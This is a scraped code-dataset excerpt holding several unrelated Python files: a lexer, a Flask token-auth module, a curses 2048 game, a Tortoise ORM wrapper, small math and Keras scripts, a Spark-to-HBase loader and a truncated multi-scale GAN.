CODE ALLOW TO TERMINATE SPACE BETWEEN IDENTIFIER\n elif(currentState==8):\n self.state=0\n # THE NULL STATE WILL BE SKIP IN THE LOOP\n else:\n self.state = None\n \n\n def process_token(self): \n with open(self.FileName) as f:\n # GET THE LAST READ LINE\n if(self.notFirstRead):\n self.text = ''\n self.state= 0\n c = f.read(self.lastRead)\n self.notFirstRead = False\n currentState = 0\n while True:\n c = f.read(1)\n self.lastRead += 1 \n \n if not c:\n # CHECK IF THERE IS PREV STATE\n token = self.checkPrevState(0,c);\n if(token != None):\n return token\n return Token(\"EOF\",\"End-of-file\",\"end-of-file token\")\n break\n \n self.check_character(c,currentState)\n \n ##### CONDITION FOR SKIPPING SPACES EXCLUDING IF THE STATE IS :\n ## 10 (STRING) , 9(STRING) , 1 (NUMBER) and 8 (IDENTIFIER)\n if(self.state== None ):\n if(self.CheckIllegalChar.search(c) and currentState!=7):\n self.notFirstRead = True\n return Token(\"ERROR\",\"ERROR\",\"ILLEGAL CHARACTER\")\n \n # THIS IS FOR COMMENT STATE\n if(c==\"\\n\" and self.prevState == 7):\n self.prevState = 7\n currentState = 0\n continue\n #FOR UNTERMINATED STRING\n if(c==\"\\n\" and (currentState == 9 or currentState == 10)):\n self.notFirstRead = True\n return Token(\"ERROR\",\"ERROR\",\"UNTERMINATED STRING\")\n \n # Transition\n self.prevState = currentState\n currentState = nextState[currentState][self.state]\n \n # FOR SINGLE CHAR LEXEME\n if(currentState==0):\n # CHECK IF THERE IS PREV STATE\n token = self.checkPrevState(currentState,c);\n if(token != None):\n return token\n self.notFirstRead = True\n return Token(self.stringObj[c],self.stringObj[c],c)\n \n ########### FOR THE SUCCEEDING PART OF THIS CODE, THIS PART IS FOR APPENDING CHARACTER EACH STRING FOR..\n ### STATE THAT HAS MANY CHARACTER e.g, Number, String, Identifier or Others\n # ASTERISK\n elif(currentState==5):\n # CHECK IF THERE IS PREV STATE\n token = self.checkPrevState(currentState,c);\n if(token != None):\n return token\n if(self.prevState==5):\n self.notFirstRead = True\n return Token(self.stringObj[\"**\"],self.stringObj[\"**\"],\"**\")\n # FOR SLASH\n elif(currentState==6):\n # CHECK IF THERE IS PREV STATE\n token = self.checkPrevState(currentState,c);\n if(token != None):\n return token\n # FOR IDENTIFIER\n elif(currentState==8): \n if(self.prevState ==11):\n self.notFirstRead = True\n self.prevState = 0\n return Token(\"ERROR\",\"ERROR\",\"BADLY FORMED NUMBER\")\n # CHECK IF THERE IS PREV STATE\n token = self.checkPrevState(currentState,c);\n if(token != None):\n return token\n \n self.text += c\n # FOR DOUBLE QUOTE STRING\n elif(currentState==9): \n # CHECK IF THERE IS PREV STATE\n token = self.checkPrevState(currentState,c);\n if(token != None):\n return token\n \n self.text += c\n # FOR SINGLE QUOTE STRING\n elif(currentState==10 ): \n # CHECK IF THERE IS PREV STATE\n token = self.checkPrevState(currentState,c);\n if(token != None):\n return token\n \n self.text += c\n # FOR NUMBER\n elif(currentState==1 or currentState==3 or currentState==11 or currentState==2 or currentState==4 ): \n # CHECK IF THERE IS PREV STATE\n token = self.checkPrevState(currentState,c);\n if(token != None):\n return token\n \n self.text += c\n \n def checkPrevState(self,currentState,c):\n #FOR NUMBER\n if((self.prevState == 1 or self.prevState == 4 or self.prevState == 11) and currentState != 1 \n and currentState != 2 and currentState != 3 and currentState != 4 and currentState != 11):\n self.notFirstRead = True\n self.prevState = 0\n self.lastRead -= 1\n return Token(\"NUMBER\",\"NUMBER\",self.text)\n # CHECH FOR NUMBER ERROR\n elif((self.prevState == 3 and currentState!=4) or (self.prevState == 2 and currentState!=11)):\n self.notFirstRead = True\n self.prevState = 0\n return Token(\"ERROR\",\"ERROR\",\"BADLY FORMED NUMBER\")\n # FOR IDENTIFIER\n elif(self.prevState == 8 and currentState != 8):\n self.notFirstRead = True\n self.prevState = 0\n self.lastRead -= 1\n return Token(\"IDENT\",\"IDENT\",self.text)\n # FOR STRING SINGLE QUOTE\n elif(self.prevState == 10 and currentState != 10):\n self.notFirstRead = True\n self.prevState = 0\n self.text += c\n return Token(\"STRING\",\"STRING\",self.text)\n # FOR STRING DOUBLE QUOTE\n elif(self.prevState == 9 and currentState != 9):\n self.notFirstRead = True\n self.prevState = 0\n self.text += c\n return Token(\"STRING\",\"STRING\",self.text)\n # FOR SLASH\n elif(self.prevState==6 and currentState != 6):\n self.notFirstRead = True\n self.lastRead -= 1\n return Token(self.stringObj[\"/\"],self.stringObj[\"/\"],\"/\")\n # FOR CHARACTER ASTERISK *\n elif(self.prevState==5 and currentState != 5):\n self.notFirstRead = True\n self.lastRead -= 1\n return Token(self.stringObj[\"*\"],self.stringObj[\"*\"],\"*\")\n\n \nprint('Enter file name:')\nFilename = input()\nsample1 = LexicalAnalyzer(Filename + \".txt\")\n\nprint(\"TOKEN LEXEME\")\nprint(\"---------------------------------------------------\")\n\n\ntext =''\ntext += \"TOKEN LEXEME\"+ \"\\n\"\ntext += \"---------------------------------------------------\"+ \"\\n\"\ntoken = sample1.process_token()\n\nwhile token.id != \"EOF\":\n print(token.id, ' ', token.lexeme)\n text += token.id + ' ' + token.lexeme+ \"\\n\"\n token = sample1.process_token()\n \nf = open(Filename +\"_output\"+ \".txt\", \"a\")\nf.write(text)\nf.close()\n\n\n","sub_path":"Python Script/Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":11224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"310579189","text":"# coding: utf-8\nimport config\nfrom config import *\nimport action_api\nfrom action_api import *\n\nimport json\n'''\n\t获取 code 代码\n\t传入应用的 appkey \n\t获取用户 uid \n\n'''\ncode_rep=\"{'flag':'%d','message':'%s'}\"\ntoken_rep=\"{'flag':'%d','message':'%s'}\"\nclass AuthDelete(MethodView):\n\tdef get(self):\n\t\txx=user_login()\n\t\tif not xx:\n\t\t\treturn redirect('http://127.0.0.1:5000/user-login')\n\n\t\tuid=session['user']\n\t\tappkey=request.args.get('appkey')\n\t\tres=dbSession.query(AuthList).filter(AuthList.app_key==appkey).filter(AuthList.uid==uid).all()\n\t\tdbSession.delete(res[0])\n\t\tdbSession.commit()\n\t\tflash('delete ok!')\n\t\treturn redirect('user-apps')\nclass AuthCode(MethodView):\n\tdef get(self):\n\t\txx=user_login()\n\t\tappkey=request.args.get('appkey')\n\t\tif not xx:\n\t\t\treturn redirect('http://127.0.0.1:5000/user-login?back=%s'%appkey)\n\t\tappkey=request.args.get('appkey')\n\t\tuid=session['user']\n\t\tserv=dbSession.query(ServList).filter(ServList.app_key==appkey).all()\n\t\ttokens=dbSession.query(AuthList).filter(AuthList.app_key==appkey).filter(AuthList.uid==uid).all()\n\t\tfor x in tokens:\n\t\t\tdbSession.delete(x)\n\t\t\tdbSession.commit()\n\t\tif not serv:\n\t\t\treturn \"{'flag':'error','message':'appkey error!'}\"\n\t\tcode=id_gen()\n\t\ta=AuthList(app_key=appkey,app_secret=serv[0].app_secret,code=code,token=id_gen(),uid=uid,cdate=datetime.now())\n\t\ttry:\n\t\t\tdbSession.add(a)\n\t\t\tdbSession.commit()\n\t\t\tapi_log('auth/code',appkey)\n\t\t\t#正确以后跳转到原来的应用baseurl 地址\n\t\t\treturn redirect(serv[0].url+\"?code=%s\"%code)\n\t\texcept:\n\t\t\treturn redirect(serv[0].url+\"?error=%s\"%'not ok')\nclass AuthToken(MethodView):\n\tdef get(self):\n\t\tapp_key=request.args.get('app_key')\n\t\tapi_log('auth/token',app_key)\n\t\tapp_secret=request.args.get('app_secret')\n\t\tcode=request.args.get('code')\n\t\tresults=dbSession.query(AuthList).filter(AuthList.app_key==app_key).filter(AuthList.app_secret==app_secret).filter(AuthList.code==code).all()\n\t\tif not results:\n\t\t\treturn token_rep%(301,\"error occored!\")\n\t\telse:\n\t\t\treturn json.dumps({\"flag\":102,\"message\":results[0].token})\n\t\t\treturn token_rep%(102,results[0].token)","sub_path":"action_auth.py","file_name":"action_auth.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"348156915","text":"# -*- coding: utf-8 -*-\n\nimport curses\nfrom collections import defaultdict\nfrom random import randrange, choice\n\nactions = ['Left', 'Right', 'Up', 'Down', 'Restart', 'Exit']\nletters = [ord(i) for i in 'adwsqeADWSQE']\n# 两个list合成dict\nactions_letter = dict(zip(letters, actions*2))\n\n\ndef get_user_action(keyboad):\n char = 'N'\n while char not in actions_letter:\n char = keyboad.getch()\n return actions_letter[char]\n\n\ndef transpose(field):\n return [list(row) for row in zip(*field)]\n\n\ndef invert(field):\n return [row[::-1] for row in field]\n\n\nclass Game_Field(object):\n def __init__(self, wid=4, hei=4, win=2048):\n self.width = wid\n self.height = hei\n self.win_value = win\n self.score = 0\n self.heighscore = 0\n self.reset()\n\n def reset(self):\n if self.score > self.heighscore:\n self.heighscore = self.score\n self.score = 0\n self.field = [[0 for i in range(self.width)]\n for j in range(self.height)]\n self.spawn()\n self.spawn()\n\n def spawn(self):\n s = 4 if randrange(100) > 89 else 2\n (i, j) = choice([(i, j) for i in range(self.width)\n for j in range(self.height) if self.field[i][j] == 0])\n self.field[i][j] = s\n\n def move_is_possible(self, direction):\n def row_left_movable(row):\n def change(i):\n if row[i] == 0 and row[i+1] != 0:\n return True\n if row[i] != 0 and row[i] == row[i+1]:\n return True\n else:\n return False\n return any(change(i) for i in range(len(row) - 1))\n\n checks = {}\n checks['Left'] = lambda field: any(\n row_left_movable(row) for row in field)\n checks['Right'] = lambda field: checks['Left'](invert(field))\n checks['Up'] = lambda field: checks['Left'](transpose(field))\n checks['Down'] = lambda field: checks['Right'](transpose(field))\n if direction in checks:\n return checks[direction](self.field)\n else:\n return False\n\n def move(self, direction):\n def move_row_left(row):\n def tig(row):\n new_row = [i for i in row if i > 0]\n new_row += [0 for i in range(len(row)-len(new_row))]\n return new_row\n\n def merge(row):\n pair = False\n new_row = []\n for i in range(len(row)):\n if pair:\n new_row.append(row[i]*2)\n pair = False\n self.score += row[i]*2\n else:\n if i < len(row)-1 and row[i] == row[i+1]:\n new_row.append(0)\n pair = True\n else:\n new_row.append(row[i])\n assert len(new_row) == len(row)\n return new_row\n return tig(merge(tig(row)))\n\n moves = {}\n moves['Left'] = lambda field: [move_row_left(row) for row in field]\n moves['Right'] = lambda field: invert(moves['Left'](invert(field)))\n moves['Up'] = lambda field: transpose(moves['Left'](transpose(field)))\n moves['Down'] = lambda field: transpose(\n moves['Right'](transpose(field)))\n\n if direction in moves:\n if self.move_is_possible(direction):\n self.field = moves[direction](self.field)\n self.spawn()\n return True\n else:\n return False\n\n def is_win(self):\n return any(any(i > self.win_value for i in row) for row in self.field)\n\n def is_gameover(self):\n return not any(self.move_is_possible(action) for action in actions)\n\n def draw(self, screen):\n help_string = 'Left(A),Right(D),Up(W),Down(S)'\n help_string1 = ' Restart(Q),Exit(E)'\n win_string = 'You Win!'\n gameover_string = 'Gameover'\n\n def cast(string):\n screen.addstr(string + '\\n')\n\n def draw_row_seprator():\n line = '+' + ('+-----'*self.width+'+')[1:]\n separator = defaultdict(lambda: line)\n if not hasattr(draw_row_seprator, \"countor\"):\n draw_row_seprator.countor = 0\n cast(separator[draw_row_seprator.countor])\n draw_row_seprator.countor += 1\n\n def draw_row(row):\n cast(''.join('|{:^5}'.format(num) if num >\n 0 else '| ' for num in row)+'|')\n\n screen.clear()\n cast('score:' + str(self.score))\n for row in self.field:\n draw_row_seprator()\n draw_row(row)\n draw_row_seprator()\n if self.is_win():\n cast(win_string)\n else:\n if self.is_gameover():\n cast(gameover_string)\n else:\n cast(help_string)\n cast(help_string1)\n\n\ndef main(stdsrc):\n def init():\n gamefield.reset()\n return 'Game'\n\n def not_game(state):\n gamefield.draw(stdsrc)\n action = get_user_action(stdsrc)\n response = defaultdict(lambda: state)\n response['Restart'], response['Exit'] = 'Init', 'Exit'\n return response[action]\n\n def game():\n gamefield.draw(stdsrc)\n action = get_user_action(stdsrc)\n if action == 'Restart':\n return 'Init'\n if action == 'Exit':\n return 'Exit'\n if gamefield.move(action):\n if gamefield.is_win():\n return 'Win'\n if gamefield.is_gameover():\n return 'Gameover'\n return 'Game'\n\n state_action = {'Init': init, 'Win': lambda: not_game(\n 'Win'), 'Gameover': lambda: not_game('Gameover'), 'Game': game}\n\n curses.use_default_colors()\n state = 'Init'\n gamefield = Game_Field(win=2048)\n while state != 'Exit':\n state = state_action[state]()\n\n\ncurses.wrapper(main)\n","sub_path":"2048/2048-eric.py","file_name":"2048-eric.py","file_ext":"py","file_size_in_byte":6038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"68467993","text":"from dutymanager.files.config import MODELS_PATH, DB_URL\nfrom module.utils.context import ContextInstanceMixin\nfrom tortoise import Tortoise\nfrom .abc import AbstractDict\nfrom .standard import *\n\n\nclass AsyncDatabase(ContextInstanceMixin):\n def __init__(self):\n self.chats = Chats()\n self.trusted = Proxies()\n self.templates = Templates()\n self.settings = Settings()\n\n self.pages = dict()\n\n def create_pages(self, limit: int):\n current = 1\n self.pages.clear()\n tags = list(self.templates)\n for i in range(0, len(tags), limit):\n self.pages[current] = tags[i: i + limit]\n current += 1\n\n async def init(self):\n await Tortoise.init(\n db_url=DB_URL,\n modules={\"models\": [MODELS_PATH]}\n )\n await Tortoise.generate_schemas()\n await self.compose()\n\n async def compose(self):\n await AbstractDict.load()\n self.create_pages(self.settings())\n\n\ndb = AsyncDatabase()\nAsyncDatabase.set_current(db)","sub_path":"dutymanager/db/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"523937955","text":"import sys\nimport numpy\n\nfrom keras.models import load_model\n\ndef parse_type(hand):\n ret = [0. for i in range(52)]\n c = 0\n for l in hand:\n if l == '.':\n c += 1\n else:\n if l == 'A':\n ret[c * 13] = 1.\n elif l == 'K':\n ret[c * 13 + 1] = 1.\n elif l == 'Q':\n ret[c * 13 + 2] = 1.\n elif l == 'J':\n ret[c * 13 + 3] = 1.\n elif l == 'T':\n ret[c * 13 + 4] = 1.\n elif ord(l) >= ord('2') and ord(l) <= ord('9'):\n ret[c * 13 + 14 - (ord(l) - ord('0'))] = 1.\n return ret\n\nfile_name = raw_input('Enter Keras saved model name: ')\nmodel = load_model(file_name)\n\nhnum = 0\nnn_input = [None for i in range(2)]\nwhile True:\n hand = raw_input('Enter hand %d: ' % (hnum + 1))\n\n if hand == \"exit\":\n break\n elif hand == \"reload\":\n file_name = raw_input('Enter Keras saved model name: ')\n model = load_model(file_name)\n continue\n\n nn_input[hnum] = numpy.expand_dims(numpy.array(parse_type(hand)), axis=0)\n\n if hnum == 0:\n hnum = 1\n else:\n print(13 * model.predict(nn_input, batch_size=1))\n hnum = 0\n","sub_path":"model/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"414142329","text":"\"\"\"\n7. В одномерном массиве целых чисел определить два наименьших элемента. Они\nмогут быть как равны между собой (оба являться минимальными), так и различаться.\n\"\"\"\n\nfrom random import randint\n\nnums = [randint(0,10) for i in range(20)]\n\nmin1 = min(nums) #первое минимальное число\nrem_in = nums.index(min1) #индекс первого минимального числа\nnums.remove(min1) #удаляем первое минимальное число\nmin2 = min(nums) #в оставшихся элементах ищем второе минимальное число\nnums.insert(rem_in, min1) #вставляем первое минимальное число в то же место\nprint(f'Массив: {nums}\\nМинимум1 = {min1}\\nМинимум2 = {min2}')\n","sub_path":"Урок 3/lesson03_task07.py","file_name":"lesson03_task07.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"633229167","text":"num = int(input('Enter number: '))\r\nfrom math import factorial\r\ndef isPrime(n):\r\n\tfor i in range(2,int(n**0.5)+1):\r\n\t\tif n%i==0:\r\n\t\t\treturn False\r\n\treturn True\r\ndef PrimesUpTo(n):\r\n\ta = range(1, n+1)\r\n\tfor i in a:\r\n\t\tif not isPrime(i):\r\n\t\t\tlist(a).remove(i)\r\n\treturn a\r\nwieferichPrimes = PrimesUpTo(num)\r\nfor p in wieferichPrimes:\r\n\tif (p ** 2) % (2 ** (p - 1)) - 1 != 0:\r\n\t\tlist(wieferichPrimes).remove(p)\r\nif len(wieferichPrimes) > 0:\r\n\tprint(list(wieferichPrimes))\r\nelse:\r\n\tprint('No Wieferich primes found in range 1 to ' + num + '!')\r\ninput('Press enter to exit.')\r\n","sub_path":"wieferich primes.py","file_name":"wieferich primes.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"636590504","text":"import pandas as pd\nfrom pyspark import SparkContext\n\nsc=SparkContext('local','test')\ncsv_df = pd.read_csv(str('/media/hadoop/code/招聘信息处理/screen_e.csv'))\nfunc = lambda i: csv_df.loc[i]\ninfo_list = [func(i) for i in range(csv_df.shape[0])]\ninsert_list = []\nfor i in info_list:\n ele_list = []\n ele_list.append(i['Unnamed: 0'])\n ele_list.append('work')\n ele_list.append('desp')\n ele_list.append(str(i['work_desp']))\n ele_tuple = (i['Unnamed: 0'], ele_list)\n insert_list.append(ele_tuple)\nprint('csv文件转换完成')\n\ntable = 'dbzlzp'\nhost = 'localhost'\nkeyConv = 'org.apache.spark.examples.pythonconverters.StringToImmutableBytesWritableConverter'\nvalueConv = 'org.apache.spark.examples.pythonconverters.StringListToPutConverter'\nconf = {\"hbase.zookeeper.quorum\": host, \"hbase.mapred.outputtable\": table,\n \"mapreduce.outputformat.class\": \"org.apache.hadoop.hbase.mapreduce.TableOutputFormat\",\n \"mapreduce.job.output.key.class\": \"org.apache.hadoop.hbase.io.ImmutableBytesWritable\",\n \"mapreduce.job.output.value.class\": \"org.apache.hadoop.io.Writable\"}\nsc.parallelize(insert_list).saveAsNewAPIHadoopDataset(\n conf=conf, keyConverter=keyConv, valueConverter=valueConv\n)","sub_path":"recruit_data/insert_hbase.py","file_name":"insert_hbase.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"264471797","text":"from keras.models import Sequential, Model\nfrom keras.layers import Conv2D, Activation, Dropout, Dense, Input, Reshape, Flatten, Lambda\nfrom keras.layers.merge import concatenate\nfrom keras.optimizers import Adam\nfrom keras.utils.generic_utils import get_custom_objects\nfrom keras.utils import to_categorical\nfrom tensorflow.python.client import device_lib\nprint(device_lib.list_local_devices())\n\nimport keras as K\nimport keras.backend as kb\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport os\nimport time\n\n#from frames1 import filter_frames\nfrom frames_alternate import get_matrices\nfrom scipy import misc\nfrom glob import glob\nimport csv\n\n\ndef make_trainable(net, val):\n net.trainable = val\n for l in net.layers:\n l.trainable = val\n\t\t\n\ncsvs_tmp = glob('data/CrowdDataset/*.csv')\ncsvs = []\nfor cs in csvs_tmp:\n\tif '06modified.csv' in cs:\n\t\tcsvs.append(cs)\n\t\t\nprint(csvs)\n\n\"\"\"\t\ndata_sets = {}\nfor c in csvs:\n\tc.replace('\\\\','/')\n\tdata_sets[c] = {}\n\t\n\tfor h in range(24):\n\t\twith open(c,'r') as data:\n\t\t\tthis_text = csv.reader(data,delimiter=';')\n\t\t\tfor row in this_text:\n\t\t\t\t### Check if this area has been added\n\t\t\t\tif row[1] not in data_sets[c].keys():\n\t\t\t\t\tdata_sets[c][row[1]] = {}\n\t\t\t\t## calculate second and hour of day\n\t\t\t\ttimes = row[0].split(':')[-1]\n\t\t\t\tsecond = int(float(times[-1]) / 100) + 60 * int(times[-2]) + 3600 * int(times[-3])\n\t\t\t\thour = int(second/3600)\n\t\t\t\t\n\t\t\t\tif hour != h:\n\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t### Check if array has been made for this hour \n\t\t\t\tif int(second/3600) not in data_sets[c][row[1]]:\n\t\t\t\t\tdata_sets[c][row[1]][hour] = np.zeros([60*60,1493,600],dtype=bool)\n\t\t\t\n\t\t\t\tx = int(int(row[2]) / 67)\n\t\t\t\ty = int(int(row[3]) / 67)\n\t\t\t\t\n\t\t\t\tdata_sets[c][row[1]][hour][second-3600*hour][x][y] = 1\n\nprint( csvs )\ninput_data\ninputs = Input(shape=input_data.shape)\n\nopt = Adam(lr=1e-3)\ndopt = Adam(lr=1e-4)\n\"\"\"\n\ngrid_x = 160\ngrid_y = 80\n\ndim4 = [int(grid_x/2**3),int(grid_y/2**3)]\ndim3 = [int(grid_x/2**2),int(grid_y/2**2)]\ndim2 = [int(grid_x/2),int(grid_y/2)]\ndim1 = [int(grid_x),int(grid_y)]\n\n### Multi-Scale Generators\ndef in_top_k(x):\n\treturn tf.nn.in_top_k(x[0],x[0],x[1])\n\t\nget_custom_objects().update({'in_top_k': Activation(in_top_k)})\n\n\n\ndef upscale_image(X):\n\tthis_shape = tf.shape(X)\n\treturn tf.image.resize_images(X,(this_shape[1]*2,this_shape[2]*2))\n\t\ndef get_upscale_output_shape(input_shape):\n\tthis_shape = list(input_shape)\n\tthis_shape[1] *= 2\n\tthis_shape[2] *= 2\n\treturn this_shape\n\t\ndef downscale_image(X):\n\tthis_shape = tf.shape(X)\n\treturn tf.image.resize_images(X,(this_shape[1]/2,this_shape[2]/2))\n\t\ndef get_downscaled_output_shape(input_shape):\n\tthis_shape = list(input_shape)\n\tthis_shape[1] /= 2\n\tthis_shape[2] /= 2\n\treturn this_shape\n\t\ndef concatenate_inputs(X):\n\treturn X\n\ndef get_concatenate_shape(input_shape):\n\treturn input_shape\n\t\nN=0\ndef N_highest(X):\n\torig_shape = X.shape\n\tX = X.ravel()\n\ttop_k(X,N)\n\ng_input = Input(dim1+[1])\ng_input_1 = g_input\ng_input_2 = Lambda(lambda x: tf.image.resize_images(x,dim2))(g_input)\ng_input_3 = Lambda(lambda x: tf.image.resize_images(x,dim3))(g_input)\ng_input_4 = Lambda(lambda x: tf.image.resize_images(x,dim4))(g_input)\n\ndownscaler_output_2_1 = Model(g_input, g_input_2)\ndownscaler_output_3_1 = Model(g_input, g_input_3)\ndownscaler_output_4_1 = Model(g_input, g_input_4)\n\ng_input = Input(dim1+[4])\ng_input_1 = g_input\ng_input_2 = Lambda(lambda x: tf.image.resize_images(x,dim2))(g_input)\ng_input_3 = Lambda(lambda x: tf.image.resize_images(x,dim3))(g_input)\ng_input_4 = Lambda(lambda x: tf.image.resize_images(x,dim4))(g_input)\n\ndownscaler_output_2 = Model(g_input, g_input_2)\ndownscaler_output_3 = Model(g_input, g_input_3)\ndownscaler_output_4 = Model(g_input, g_input_4)\n\n# First smallest scale\n#g_input_4 = Input((*dim4,4))\nt = Conv2D(16,3,padding='same',activation='relu')(g_input_4)\nt = Conv2D(32,3,padding='same',activation='relu')(t)\nt = Conv2D(15,3,padding='same',activation='relu')(t)\nt = Conv2D(1,3,padding='same',activation='relu')(t)\nt = Flatten()(t)\nt = Dense(dim4[0]*dim4[1],activation='softmax')(t)\n\ng_output_4 = Reshape(dim4+[1])(Dense(dim4[0]*dim4[1],activation='softmax')(t))\n#g4 = Model(g_input_4,g_output_4,name='Scale_4_Generator')\n\n# Second smallest scale\n#g_input_3 = Input((*dim3,5))\n#full_g_input_3 = K.backend.concatenate([g_input_3,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_4)])\n#print(g4.get_layer(index=-1))\n#g_input_3_2 = Lambda(concatenate_inputs,output_shape=get_concatenate_shape)(g_input_3)\n#full_g_input_3 = concatenate([g_input_3_2,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_4)], axis=-1)\nfull_g_input_3 = concatenate([g_input_3,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_4)], axis=-1 )\nt = Conv2D(16,5,padding='same',activation='relu')(full_g_input_3)\n#t = Conv2D(64,3,padding='same',activation='relu')(t)\nt = Conv2D(32,3,padding='same',activation='relu')(t)\nt = Conv2D(1,5,padding='same',activation='relu')(t)\nt = Flatten()(t)\ng_output_3 = Reshape(dim3+[1])(Dense(dim3[0]*dim3[1],activation='softmax')(t))\n#g3 = Model(g_input_3,g_output_3,name='Scale_3_Generator')\n\n\n# thrid smallest scale\n#g_input_2 = Input((*dim2,5))\n#full_g_input_2 = K.backend.concatenate([g_input_2,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g3)])\nfull_g_input_2 = concatenate([g_input_2,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_3)], axis=-1 )\nt = Conv2D(16,5,padding='same',activation='relu')(full_g_input_2)\nt = Conv2D(32,3,padding='same',activation='relu')(t)\n#t = Conv2D(64,3,padding='same',activation='relu')(t)\nt = Conv2D(32,3,padding='same',activation='relu')(t)\nt = Conv2D(16,3,padding='same',activation='relu')(t)\nt = Conv2D(1,5,padding='same',activation='relu')(t)\nt = Flatten()(t)\ng_output_2 = Reshape(dim2+[1])(Dense(dim2[0]*dim2[1],activation='softmax')(t))\n#g2 = Model(g_input_2,g_output_2,name='Scale_2_Generator')\n\n\n# Full scale\n#g_input_1 = Input((*dim1,5))\n#full_g_input_1 = K.backend.concatenate([g_input_1,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g2)])\nfull_g_input_1 = concatenate([g_input_1,Lambda(upscale_image,output_shape=get_upscale_output_shape)(g_output_2)], axis=-1 )\nt = Conv2D(16,7,padding='same',activation='relu')(full_g_input_1)\nt = Conv2D(32,5,padding='same',activation='relu')(t)\n#t = Conv2D(64,5,padding='same',activation='relu')(t)\nt = Conv2D(32,5,padding='same',activation='relu')(t)\nt = Conv2D(16,5,padding='same',activation='relu')(t)\nt = Conv2D(1,7,padding='same',activation='relu')(t)\nt = Flatten()(t)\ng_output_1 = Reshape(dim1+[1])(Dense(dim1[0]*dim1[1],activation='softmax')(t))\n#g1 = Model(g_input_1,g_output_1,name='Scale_1_Generator')\n\n#gs = [g4,g3,g2,g1]\ngenerator_outputs = [g_output_4,g_output_3,g_output_2,g_output_1]\nG = Model( g_input, outputs = generator_outputs )\n\n\n\n####################################################################################################################\n\n\n\n\n### Multi-Scale Discriminators\nd_input_4 = Input(dim4+[5])\nt = Conv2D(16,3,padding='valid',activation='relu')(d_input_4)\nt = Flatten()(t)\nt = Dense(64)(t)\nt = Dense(32)(t)\nd_output_4 = Dense(1,activation='sigmoid')(t)\nd4 = Model(d_input_4,d_output_4,name='Scale_4_Discriminator')\n\n\nd_input_3 = Input(dim3+[5])\nt = Conv2D(16,3,padding='same',activation='relu')(d_input_3)\nt = Conv2D(32,3,padding='same',activation='relu')(t)\nt = Conv2D(32,3,padding='same',activation='relu')(t)\nt = Flatten()(t)\n#t = Dense(128)(t)\nt = Dense(64)(t)\nd_output_3 = Dense(1,activation='sigmoid')(t)\nd3 = Model(d_input_3,d_output_3,name='Scale_3_Discriminator')\n\n\nd_input_2 = Input(dim2+[5])\nt = Conv2D(32,5,padding='same',activation='relu')(d_input_2)\nt = Conv2D(64,5,padding='same',activation='relu')(t)\n#t = Conv2D(64,5,padding='same',activation='relu')(t)\nt = Flatten()(t)\n#t = Dense(128)(t)\nt = Dense(64)(t)\nd_output_2 = Dense(1,activation='sigmoid')(t)\nd2 = Model(d_input_2,d_output_2,name='Scale_2_Discriminator')\n\n\nd_input_1 = Input(dim1+[5])\nt = Conv2D(16,7,padding='same',activation='relu')(d_input_1)\nt = Conv2D(32,7,padding='same',activation='relu')(t)\n#t = Conv2D(64,5,padding='same',activation='relu')(t)\nt = Conv2D(16,5,padding='same',activation='relu')(t)\nt = Flatten()(t)\n#t = Dense(128)(t)\nt = Dense(64)(t)\nd_output_1 = Dense(1,activation='sigmoid')(t)\nd1 = Model(d_input_1,d_output_1,name='Scale_1_Discriminator')\n\n\ndiscriminator_inputs = [d_input_4,d_input_3,d_input_2,d_input_1]\ndiscriminator_outputs = [d_output_4,d_output_3,d_output_2,d_output_1]\nD = Model( inputs = discriminator_inputs, outputs = discriminator_outputs )\nD.compile(loss='binary_crossentropy', optimizer=Adam(lr=1e-3))\n\n\ndef splice_output(X):\n\treturn X[:,:,:,:4]\n\t\ndef get_splice_output_shape(input_shape):\n\tshape = list(input_shape)\n\tshape[-1] = 4\n\treturn tuple(shape)\n\n\t\n#############################################################################################################\n\n\ndef CreateDiscriminatorInput(gen,input,true_frame=None):\n\tif type(true_frame) == type(None):\n\t\tgen_data = gen.predict(input)\n\t\tg1_data = np.concatenate((input,gen_data[-1]),axis=-1)\n\t\tg2_data = np.concatenate((downscaler_output_2.predict(input),gen_data[-2]),axis=-1)\n\t\tg3_data = np.concatenate((downscaler_output_3.predict(input),gen_data[-3]),axis=-1)\n\t\tg4_data = np.concatenate((downscaler_output_4.predict(input),gen_data[-4]),axis=-1)\n\telse:\n\t\tg1_data = np.concatenate((input,true_frame),axis=-1)\n\t\tg2_data = np.concatenate((downscaler_output_2.predict(input),downscaler_output_2_1.predict(true_frame)),axis=-1)\n\t\tg3_data = np.concatenate((downscaler_output_3.predict(input),downscaler_output_3_1.predict(true_frame)),axis=-1)\n\t\tg4_data = np.concatenate((downscaler_output_4.predict(input),downscaler_output_4_1.predict(true_frame)),axis=-1)\n\t\n\treturn [g4_data,g3_data,g2_data,g1_data]\n\t\n\t\n### Complete GAN Model\n\ng_inputs_list = [g_input_4,g_input_3,g_input_2,g_input_1]\nd_inputs_list = [d_input_4,d_input_3,d_input_2,d_input_1]\n\n\nd_connnected_to_g = 